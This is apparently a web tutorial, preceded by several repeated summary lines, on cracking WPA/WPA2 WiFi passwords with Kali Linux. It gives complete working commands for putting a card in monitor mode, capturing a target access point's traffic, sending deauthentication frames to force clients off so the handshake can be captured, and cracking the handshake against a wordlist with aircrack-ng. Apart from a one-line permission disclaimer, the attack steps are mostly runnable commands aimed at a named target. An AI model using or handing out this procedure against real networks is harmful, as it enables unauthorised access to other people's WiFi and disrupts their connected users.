    The document provides steps to hack WPA/WPA2 WiFi networks using Kali Linux, including using airodump-ng to capture packets and aireplay-ng to inject deauthentication packets to get the WPA handshake. It then explains using aircrack-ng to crack the password by comparing the handshake to a wordlist or custom passwords file. The steps are: 1) start the wireless interface in monitor mode, 2) capture packets from the target network, 3) use aireplay-ng to disconnect clients to get the handshake, 4) use aircrack-ng to crack the password by comparing the handshake to words in a list.

    The passage outlines the steps to crack WPA/WPA2 passwords using Kali Linux including capturing packets, disconnecting clients, and decrypting passwords with a wordlist.

    The steps include: starting monitor mode on the wireless interface, scanning for networks, disconnecting clients, capturing the handshake, and decrypting the password file with a wordlist.

    Airodump-ng is used to capture packets including the WPA handshake from the target network.

    How to Hack WPA/WPA2 WiFi Using Kali Linux?

    “Hacking Wifi” sounds really cool and interesting. But actually hacking wifi
    practically is much easier with a good wordlist. But this world list is of no use until we
    don’t have any idea of how to actually use that word list in order to crack a hash. And
    before cracking the hash we actually need to generate it. So, below are those steps
    along with some good wordlists to crack a WPA/WPA2 wifi.
    Note: Use the below methods only for educational/testing purposes on your own wifi
    or with the permission of the owner. Don’t use this for malicious purposes.
    So, boot up Kali Linux. Open the terminal window. And perform the following steps.

    Step 1: ifconfig (interface configuration) : To view or change the configuration of the


    network interfaces on your system.

    ifconfig
    Here,
     eth0 : First Ethernet interface
     l0 : Loopback interface
     wlan0 : First wireless network interface on the system. (This is what we need.)

    Step 2: Stop the current processes which are using the WiFi interface.

    airmon-ng check kill

    Step 3: To start the wlan0 in monitor mode.

    airmon-ng start wlan0


    Step 4: To view all the Wifi networks around you.
    airodump-ng wlan0mon

    Here,
     airodump-ng : For packet capturing
     wlan0mon : Name of the interface (This name can be different on the different
    devices)
    Press Ctrl+C to stop the process when you have found the target network.
    Step 5: To view the clients connected to the target network.

    airodump-ng -c 1 --bssid 80:35:C1:13:C1:2C -w /root wlan0mon

    Here,
     airodump-ng : For packet capturing
     -c : Channel
     –bssid : MAC address of a wireless access point(WAP).
     -w : The Directory where you want to save the file(Password File).
     wlan0mon : Name of the interface.

    Step 6: Open a new terminal window to disconnect the clients connected to the
    target network.

    aireplay-ng -0 10 -a 80:35:C1:13:C1:2C wlan0mon


     aireplay-ng : To inject frames
     -0 : For deauthentication
     10 : No. of deauthentication packets to be sent
     -a : For the bssid of the target network
     wlan0mon : Name of the interface.
    When the client is disconnected from the target network. He tries to reconnect to the
    network and when he does you will get something called WPA handshake in the
    previous window of the terminal.

    Now, we are done with capturing the packets. So, now you can close the terminal
    window.

    Step 7. To decrypt the password. Open the Files application.


    Here,
     hacking-01.cap is the file you need.
    aircrack-ng -a2 -b 80:35:C1:13:C1:2C -w /root/passwords.txt
    /root/hacking-01.cap
     aircrack-ng : 802.11 WEP and WPA-PSK keys cracking program
     -a : -a2 for WPA2 & -a for WPA network
     -b : The BSSID of the target network
     -w : Location of the wordlist file
     /root/hacking-01.cap : Location of the cap file

    You can download the file of common passwords from the internet and if you want
    to create your own file then you can use the crunch tool
